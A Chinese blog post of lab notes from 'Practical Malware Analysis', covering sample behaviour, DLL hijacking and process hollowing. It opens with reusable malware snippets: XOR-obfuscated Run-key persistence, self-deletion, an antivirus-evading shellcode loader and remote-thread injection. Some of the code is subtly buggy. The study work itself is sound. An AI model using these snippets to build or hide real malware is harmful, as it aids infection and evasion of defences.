《恶意代码分析实战lab》

本文章用来记录本书的lab分析过程,对于书上的问题都是选择来分析,有些lab是重复的,所以前面的一些lab可能只会部分分析,然后到后面来具体分析。

文章

免杀

https://www.const27.com/2021/09/03/%E5%9F%BA%E7%A1%80%E5%85%8D%E6%9D%80%E6%89%8B%E6%B3%95%E6%9A%B4%E9%A3%8E%E5%90%B8%E5%85%A5/

https://saucer-man.com/operation_and_maintenance/465.html

https://paper.seebug.org/1413/#_5

https://github.com/TideSec/BypassAntiVirus

https://www.yuque.com/tidesec/bypassav/309d7b24dfc5880d2b3fa78813ea72ea

https://github.com/Airboi/bypass-av-note

常用代码

修改注册表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#include<stdio.h>
#include<windows.h>

char szSubKey[] = {0x57,0x4b,0x42,0x50,0x53,0x45,0x56,0x41,0x58,0x49,0x6d,0x67,0x76,0x6b,0x77,0x6b,0x62,0x70,0x58,0x53,0x6d,0x6a,0x60,0x6b,0x73,0x77,0x58,0x47,0x71,0x76,0x76,0x61,0x6a,0x70,0x52,0x61,0x76,0x77,0x6d,0x6b,0x6a,0x58,0x56,0x71,0x6a};

void Regkey1()
{
int i;
for(i=0;i<strlen(szSubKey);i++)
{
szSubKey[i]=szSubKey[i]^4;
}
CHAR* path=NULL;
HKEY hkey;

path = (CHAR*)LocalAlloc(0x40u, 0x40u);
GetModuleFileNameA(0, path, 0x40u);


RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hkey);
RegSetValueEx(hkey, "MyStart", 0, REG_SZ, (const BYTE *)path, strlen(path));
RegCloseKey(hkey);
}
int main()
{
Regkey1();
printf("yes");
}

遍历文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

#include <iostream>
#include <cstring>
#include <windows.h>
#include<string.h>

void listFiles(const char* dir);

int main()
{
char dir[100]="D:\\a";

listFiles(dir);
return 0;
}

void listFiles(const char* dir)
{
HANDLE hFind;
WIN32_FIND_DATA findData;
LARGE_INTEGER size;
char dirNew[100];

// 向目录加通配符,用于搜索第一个文件
strcpy(dirNew, dir);
strcat(dirNew, "\\*.*");

hFind = FindFirstFile(dirNew, &findData);
do
{
// 是否是文件夹,
if(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
//并且名称不为"."或".."
if(strcmp(findData.cFileName,".")!=0 && strcmp(findData.cFileName, "..")!=0)
{
// 将dirNew设置为搜索到的目录,并进行下一轮搜索
char dirNew1[100];
strcpy(dirNew1, dir);
strcat(dirNew1, "\\");
strcat(dirNew1, findData.cFileName);
listFiles(dirNew1);
}
}
else
{
if(strcpy(findData.cFileName,"test1.exe"))
{
printf("%s\n",dirNew);
Sleep(100);
}


}
} while (FindNextFile(hFind, &findData));

FindClose(hFind);
}

自删除代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#include<stdio.h>
#include<Windows.h>

int main()
{
CHAR Filename[260];
CHAR Parameters[260];

GetModuleFileNameA(0, Filename, 0x104u);
GetShortPathNameA(Filename, Filename, 0x104u);

printf("%s", Filename);
strcpy(Parameters, "/c del ");
strcat(Parameters, Filename);
strcat(Parameters, " >> NUL");
ShellExecuteA(0, 0, "cmd.exe", Parameters, 0, 0);

exit(0);
}

shellcode简单免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#include<stdio.h>
#include<windows.h>
typedef void(_stdcall* CODE)();

unsigned char s[]="";
int main(void){
char key[]="this_is_a_key";
unsigned char buf[798];
int i,j=0;
PVOID p;

for(i=0;i<1596;i++)
{
if(i%2==0)
{
buf[j]=s[i];
j++;
}
}

for(i=0;i<798;i++)
{
buf[i]=buf[i]^key[i%strlen(key)];
printf("\\x%x",buf[i]);
}
p = VirtualAlloc(0, 798, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, 798);

CODE code = (CODE)p;
code();

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13

shellcode=""
key="this_is_a_key"
key2="hello"

s=''

for i in range(len(shellcode)):
s += chr(ord(shellcode[i])^ord(key[i%len(key)]))
s += key[(i+3)%len(key2)]
print(len(s))
for i in range(len(s)):
print("\\x%x"%ord(s[i]),end='')

远端注入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#include <iostream>
#include<Windows.h>

int main()
{
unsigned char buf[] = "";
int i;
for(i=0;i<798;i++)
{
buf[i]=buf[i]^15;
}
DWORD pid = 2932;
HANDLE Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!Proc) {
std::cout << GetLastError() << std::endl;
}
LPVOID buffer = VirtualAllocEx(Proc, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (buffer) {
std::cout << GetLastError() << std::endl;
}
if (WriteProcessMemory(Proc, buffer, buf, sizeof(buf), 0) ){
std::cout << GetLastError() << std::endl;
}
HANDLE remotethread = CreateRemoteThread(Proc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
}

寻找exe中的资源,图片或者其他二进制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#include<stdio.h>
#include<Windows.h>

int main()
{
HMODULE hModule;
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize;
LPVOID adr;
void *Src;

hModule = GetModuleHandleA(0);

FindResourceA(hModule, "LOCALIZATION", "UNICODE");
hResData = LoadResource(hModule, hResInfo);
printf("yes");
if ( hResData )
{
printf("yes1");
Src = LockResource(hResData);
if ( Src )
{
printf("yes2");
dwSize = SizeofResource(hModule, hResInfo);
if ( dwSize )
{
printf("yes3");
adr = VirtualAlloc(0, dwSize, 0x1000u, 4u);
if(adr)
{
memcpy(adr, Src, dwSize);
printf("yes4");

}
}
}
}

system("pause");

}

判断是否网络连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#include<stdio.h>
#include<windows.h>
#include<wininet.h>
#pragma comment(lib, "Wininet.lib")

int main()
{
BOOL flag;
flag = InternetGetConnectedState(0, 0);
if (flag)
{
printf("Success: Internet Connection");
}
else
{
printf("Error 1.1: No Internet");
}
system("pause");
}

Lab01

Lab01-01

后面会再次分析这个lab,所以这次只简单做过判断。

任务:分析lab01-01.dll,和lab01-01.exe。

看看利用petool查看编译时间,主要是用用这个工具。

然后用Eexinfo PE来看看,发现没有加壳。

ida看看,可以看到对lab01-01.dll,和C:\windows\system32\kernel32.dll进行了操作。

然后向下看看

1
2
3
4

if ( !CopyFileA(ExistingFileName, NewFileName, 0) )// Lab01-01.dll C:\windows\system32\kerne132.dll
exit(0);
sub_4011E0(aC, 0); // C:\*

可以看到将lab01-01.dll复制到了C:\windows\system32\kerne132.dll,注意是kerne132.dll不是kernel32.dll。然后进行了sub_4011E0。

来看看sub_4011E0函数,可以看出就是常用的递归遍历c盘的所有文件。

基本代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

#include <iostream>
#include <cstring>
#include <windows.h>
#include<string.h>

void listFiles(const char* dir);

int main()
{
char dir[100]="D:\\a";

listFiles(dir);
return 0;
}

void listFiles(const char* dir)
{
HANDLE hFind;
WIN32_FIND_DATA findData;
LARGE_INTEGER size;
char dirNew[100];

// 向目录加通配符,用于搜索第一个文件
strcpy(dirNew, dir);
strcat(dirNew, "\\*.*");

hFind = FindFirstFile(dirNew, &findData);
do
{
// 是否是文件夹,
if(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
//并且名称不为"."或".."
if(strcmp(findData.cFileName,".")!=0 && strcmp(findData.cFileName, "..")!=0)
{
// 将dirNew设置为搜索到的目录,并进行下一轮搜索
char dirNew1[100];
strcpy(dirNew1, dir);
strcat(dirNew1, "\\");
strcat(dirNew1, findData.cFileName);
listFiles(dirNew1);
}
}
else
{
if(strcpy(findData.cFileName,"test1.exe"))
{
printf("%s\n",dirNew);
Sleep(100);
}


}
} while (FindNextFile(hFind, &findData));

FindClose(hFind);
}

然后进入sub_4010A0,可以看出用CreateFileMappingA映射了找到的exe文件,并匹配kernel32.dll字符串,修改为kerne132.dll。

分析lab01-01.dll

可以看到,创建了互斥体来保证只会有一个进程来运行这个dll,还有网络进程通信,和连接ip,默认80端口,seed发送信息,CreateProcessA创建进程等操作,估计是个后门函数。

Lab01-02

一个加壳程序,upx -d脱壳后,会发现StartServiceCtrlDispatcherA()函数,将服务进程的主线程连接到服务控制管理器,我们来看看ServiceMain函数。


所以这个程序就是创建了一个服务,然后访问了http://www.malwareanalysisbook.com这个网站,可以通过监视网络流量检查被恶意代码感染的主机。

Lab01-03

peid打开发现有FSG壳,还没见过这个壳,虽然会手动脱壳,还是跟着书来,后面再来分析这个吧。

Lab01-04

这个样本就挺有意思的,书上是在Lab1简单讲了一下,在Lab12中更细致的分析了,可以从中学到很多知识,现在从头到尾来分析下这个恶意代码。

先来看看main函数

然后我们来看看这个程序遍历PID干嘛,sub_401000()函数。

为什么需要找到winlogon.exe这个进程的PID呢,下一个函数就会告诉。

现在来看sub_401174()函数,刚开始看并不懂里面的意思,只知道是向winlogon.exe远端注入了一个线程函数,后来看了书才彻底明白。

接下来估计也就会去修改文件了,来到sub_4011FC()。

到这里,本exe流程就分析完了,接下来分析exe中的pe文件,看看究竟写入了什么东西,用Resource_Hacker dump出该pe分析。

有空,打算照着写写远端注入winlogon.exe的代码。

1
2


Lab03

本章一些工具的使用方法:https://zhuanlan.zhihu.com/p/24923630

Lab03-01

这个样本就是用来使用熟悉一些工具的使用的。

样本应该被加了壳。

先看看字符串。

先用process monitor看看,过滤writefile,和regsetvalue。

可以看到修改了注册表,并且向c:windows\system32\vmx32to64.exe写入了文件。

然后用md5deep.exe,去看两个文件是否一样。

可以看到是一样的,所以可以判断该程序将自己复制到了c:windows\system32\vmx32to64.exe。
继续用Process Explorer

创建了互斥锁,可能调用了一些联网函数。

然后用ApateDNS 以查看恶意软件是否执行了任何 DNS 请求。先配网络https://www.cnblogs.com/ha2ha2/p/9563016.html,windows xp没下载到合适的ApateDNS,然后用windows 10 来弄,发现并没有出现书上的内容,后面再来搞。

然后用nc监听常用80和443端口,也没出现书中内容。。。只不过还是学到了很多东西。

Lab03-02.dll

利用pe view或studype+看导出函数,用ida查看可以发现这个dll的导出函数Install安装了服务,并且有修改了注册表的操作。

我们来用Regshot记录快照,然后对比。拍摄好第一个快照后,执行命令来安装恶意dll

C:\>rundll32.exe Lab03-02.dll,installA

然后拍摄第二个快照。

然后用下面命令来启动服务。

C:\>net start IPRIP

利用Process Explorer查看svchost.exe进程

接下来就是网络分析了,我们在字符串中可以看到HTTP/1.1,所以很大可能是有联网过程的。

ApateDNS,配环境中。

Lab03-03

这个样本比较有意思,利用了pe映像切换技术,《逆向工程核心原理》有详细例子,最近也是上课看书,偶然看到这部分,书上的例子确实比较好。

我们首先来康康什么是pe映像。

我们都知道创建一个进程时,操作系统会为该进程分配一个 4GB 大小的虚拟 进程地址空间。pe映像就是pe文件在进程内存中的映射形态。

并且pe文件和pe映像在形态上也不会是完全相同的,会有一些差别,如下。

那么什么是pe映像切换呢,简单来说,假设现在有A,B,setup三个exe文件,我们会使用setup.exe来创建A进程,按道理本该执行A进程,但是却使用pe映像切换技术来达到运行B进程的目的。

下面来大概总结其步骤,是setup.exe的代码步骤。

  • 将B.exe这个文件存放到开辟的某个内存空间,利用createfile,VirtualAlloc函数,或者其他类似作用的函数。
  1. 以挂起模式创建A进程。
  2. 利用GetThreadContext函数获得A进程的主线程的上下文结构,得到CONTEXT.Eax,ReadProcessMemory函数读取PEB.image,也就是A进程的image base和EP。
  3. 调用NtUnmapViewOfSection函数卸载A进程的pe映像,防止将B.exe文件映射到该地址时发生冲突(实际上,若image base不相同,可以不卸载)。
  4. 利用VirtualAllocEx函数在A进程中以B进程的image base地址申请其size of image大小的空间。
  5. 映射pe文件头
  6. for循环映射pe节区
  7. 调用WriteProcessMemory将A进程的PEB.imagebase修改为B进程的image base。
  8. 将EP(CONTEXT.Eax)修改为B.exe的EP。
  9. 调用ResumeThread,恢复运行A进程,但是实际上运行的是B进程。

在看完本lab和《逆向工程核心原理》中的例子后,产生了两个问题

  • 上面的步骤中,修改image base这一操作的先后顺序是否有影响呢?我认为是没有影响的,因为无论哪种方式,都可以达到在A进程中为B进程的PE映像分配了内存空间,并且将A进程的PEB.imagebase修改为B进程的image base的目的。
  • 为什么对于映射pe文件头,映射pe节区需要分开来?其实也很简单,答案就在上面的图片中,pe文件和pe映像在形态上不会是完全相同的。

    到这里,pe映像切换的原理差不多就讲完了,感兴趣可以去看看书中的详细讲解,下面来分析恶意样本,与书中例子有小差别,但大体原理一致。

先看看行为吧,可以看到创建了一个进程,并且退出了。

查壳,无壳,先拖进ida静态分析分析。

main函数

sub_40132C函数

我们后面在来解密这个文件,并分析它。

sub_4010EA函数,这个函数的参数有两个,一个是C:\Windows\System32\svchost.exe,用来创建进程,一个是申请的空间地址,保存着解密后的资源文件。

利用resource hacker dmup出资源文件,然后解密,现在来分析解密后的资源文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#include<stdio.h>
#include<math.h>
int main(void){

FILE *p;
char v[0x5FE0]={0};
int i;

p=fopen("abc.bin","rb");
fread(&v, 1, 0x5FE0, p);
for(i=0;i<0x5FE0;i++)
{
v[i]=v[i]^65;
}
FILE *p1 = fopen("def.bin", "wb");
fwrite(&v, 1, 0x5FE0, p1);
}

先看main函数

fn函数

sub_4010C7函数

效果如下

Lab03-04

一个自删除的程序,并且会按照main参数来执行相关代码,按照书上的流程,第9章在具体分析。

自删除代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#include<stdio.h>
#include<Windows.h>

int main()
{
CHAR Filename[260];
CHAR Parameters[260];

GetModuleFileNameA(0, Filename, 0x104u);
GetShortPathNameA(Filename, Filename, 0x104u);

printf("%s", Filename);
strcpy(Parameters, "/c del ");
strcat(Parameters, Filename);
strcat(Parameters, " >> NUL");
ShellExecuteA(0, 0, "cmd.exe", Parameters, 0, 0);

exit(0);
}

Lab05

Lab05-01.dll && Lab05-01.py

一些ida的快捷键使用,以及简单idapython的使用,跳过。

Lab06

Lab06-01.exe

一个简单的判断是否有网络连接的程序。

可以看到使用了InternetGetConnectedState这个函数

1
2
3
4
5
6

//检索本地系统的连接状态。
BOOL InternetGetConnectedState(
LPDWORD lpdwFlags,
DWORD dwReserved
);

在看看程序内部

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#include<stdio.h>
#include<windows.h>
#include<wininet.h>
#pragma comment(lib, "Wininet.lib")

int main()
{
BOOL flag;
flag = InternetGetConnectedState(0, 0);
if (flag)
{
printf("Success: Internet Connection");
}
else
{
printf("Error 1.1: No Internet");
}
system("pause");
}

Lab06-02.exe

一个读取指定url指定的资源,然后比较前几个字符串。

用StudyPE打开,还是winnet.dll里面的一些网络相关的函数。

ida打开分析

前面一个函数就是上面的lab。

主要看sub_401040函数

所以其实也没干什么,可能主要代码还在后面。

Lab06-03.exe

继续在上面的lab,加了一个函数,添加了一些功能。


来看看sub_401130函数

Lab06-04.exe

加了一个循环,实际上switch中怎么操作 都是由那个html文件的字符来定的,类似小型虚拟机,但switch的操作也就那几种。

Lab07

Lab07-01.exe

和Lab01-02脱壳后一模一样,不再分析。

Lab07-02.exe

这个样本是书中组件对象模型(COM)的知识点,下面先看看几个函数

OleInitialize

在当前单元上初始化 COM 库

CoCreateInstance 函数

创建并默认初始化与指定 CLSID 关联的类的单个对象。

HRESULT CoCreateInstance(
  REFCLSID  rclsid,
  LPUNKNOWN pUnkOuter,
  DWORD     dwClsContext,
  REFIID    riid,
  LPVOID    *ppv
);

rclsid

与将用于创建对象的数据和代码关联的 CLSID。

pUnkOuter

如果为NULL,则表示该对象不是作为聚合的一部分创建的。如果非NULL,则指向聚合对象的IUnknown接口(控制IUnknown)。

dwClsContext

管理新创建对象的代码将在其中运行的上下文。这些值取自枚举CLSCTX。

riid

对用于与对象通信的接口标识符的引用。

ppv

接收riid 中请求的接口指针的指针变量的地址。成功返回后, * ppv包含请求的接口指针。失败时, * ppv包含NULL。

重要的就是rclsid和riid,我们可以通过这个 来确定他要调用什么程序,什么接口。如何去查找这两个东西,clsidriid,也就是直接去注册表中搜索,然后这个函数会返回一个COM对象,保存在ppv,可以通过这个对象,来执行一些函数。

现在我们来分析下程序

可以看到ppv+0x2c,实际上IWebBrowser2接口的偏移0x2c就是Navigate函数,https://docs.microsoft.com/en-us/previous-versions//aa752133(v=vs.85)?redirectedfrom=MSDN,也就是用Internet Explorer来访问那个网址。

这个程序 就和文档中的代码类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

if (SUCCEEDED(OleInitialize(NULL)))
{
IWebBrowser2* pBrowser2;

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)&pBrowser2);
if (pBrowser2)
{
VARIANT vEmpty;
VariantInit(&vEmpty);

BSTR bstrURL = SysAllocString(L"http://microsoft.com");

HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible(VARIANT_TRUE);
}
else
{
pBrowser2->Quit();
}

SysFreeString(bstrURL);
pBrowser2->Release();
}

OleUninitialize();
}

Lab07-03.exe

这个程序和dll配套使用,实际上就是Lab01-01分析的那个程序,实际上 我当时已经分析了很大一部分了,接下来就分析一下没被分析到的部分。样本修改system32中文件的操作在windows10已经不适用了,因为有了文件保护,不允许随便写入。

首先是为什么字符串中有kerne132.dll 和kernel32.dll,而且Lab07-03.dll这个dll文件只有main函数,没有导出函数,这就意味着其他exe无法导入这个dll的函数。

在CopyFileA的上面我们看到对kernel32.dll,Lab07-03.dll这两个文件进行操作,并且生成了kerne132.dll,看到这两个名称我们就可以猜测,我们利用Lab07-03.dll,和很多乱七八糟的操作将system32下的kernel32.dll进行了一些修改,生成了这个kerne132.dll ,对于那部分乱七八糟的代码,其实可以不用太关心,也比较难看,只不过可以大概看出是对pe结构进行了一些操作,之后我将程序的参数设置为WARNING_THIS_WILL_DESTROY_YOUR_MACHINE,进行动调来验证这个猜想,在执行完CopyFileA后,我将C:\windows\system32\kerne132.dll这个新文件,用ida打开看了看。

所以前面这一部分就是生成一个kerne132.dll伪装成原来的kernel32.dll,这样操作有什么用呢,看后面的代码就可以知道了。

后面部分在lab1中说过,遍历了所有exe文件,然后修改了exe中的kernel32.dll变为kerne132.dll,所以其实就是在让这些exe加载kerne132.dll这个dll,从而执行恶意dll的内容,这种操作还是比较经典的,如何找到一个pe文件的dll名称,并修改他,下面就用pe的知识点,来写一写。

下面这种方式是用的RAW,因为没有在内存中,如果是在内存中,就要使用RVA。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

#include<stdio.h>
#include<windows.h>


int main()
{
LARGE_INTEGER liFileSize;
DWORD dwReadedSize;
DWORD dwRVA,pianyi;
HANDLE hFile = CreateFileA("C:\\Users\\hp\\Desktop\\test\\calc.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
BYTE* baseaddr;
PBYTE pAddr;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
LPCSTR szLibName;


if (hFile == INVALID_HANDLE_VALUE)
{
printf("CreateFileA error %d", GetLastError());
}


//获取文件大小
GetFileSizeEx(hFile, &liFileSize);

baseaddr = (BYTE*)malloc(liFileSize.QuadPart);

ReadFile(hFile, baseaddr, liFileSize.QuadPart, &dwReadedSize, NULL);

pAddr = (PBYTE)baseaddr;
pAddr += *((DWORD*)&pAddr[0x3C]);

dwRVA= *((DWORD*)&pAddr[0x80]);

//因为用的是RAW,所以偏移为 0x400-0x1000,从text节区头获得的。
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)baseaddr + dwRVA+ 0x400-0x1000);


for (; pImportDesc->Name; pImportDesc++)
{
printf("\n%x ", pImportDesc);
szLibName = (LPCSTR)((DWORD)baseaddr + pImportDesc->Name + 0x400 - 0x1000);
printf("%s", szLibName);
}


}

所以,exe中的内容就是先修改了C:\windows\system32\kernel32.dll为C:\windows\system32\kerne132.dll,然后将c盘下的exe文件的kernel32.dll改为kerne132.dll,从而达到感染这些exe的目的,如果再次启动这些exe,就会载入kerne132.dll这个恶意dll,从而造成危害。

接下来就只剩下分析恶意dll了。

可以看到就是向一个远程机器发送了一些命令,并且接收了一些东西,关键就在于那个CreateProcess函数,究竟创建了什么进程,这点在ida里面并不能直接找到,来看下一张图片。

所以创建什么进程,实际上是由那个远程机器返回的内容决定的。

到这里这两个文件,差不多就分析完了。

Lab09

这个Lab主要考察动调。

Lab09-01

这个exe需要分析的点有点多。之前也提到了,这个程序需要一些参数才能让其执行一些函数。

我们直接在虚拟机执行一次会发现直接就退出了,并且删除了自身。

来看看main函数

然后来看sub_401000函数,我们将其命名为checkReg。

可以看到这个函数实际上就是检查注册表是否有相关值,没有就会返回1,从而进行delete()函数。

然后下面的sub_402360函数,里面也有个检查注册表的值的过程,一开始肯定是没有的,所以肯定不会发生什么。

接下来,我们发现这个程序会使用到一些参数来执行不同的过程,参数分为-in,-re,-c,-cc,并且还有一个密码检查函数。

我们先来传入-in这个参数,但是我们会发现,会在sub_402510出错,这个函数其实就是个密码检查函数,传入的是最后的一个参数,比如说
Lab09-01.exe -in 1234
传入这个函数的就是1234。

这里提供两个方式来绕过这个密码检查

第一种直接修改这个函数,让他永远返回1

第二种是分析这个函数,得到密码。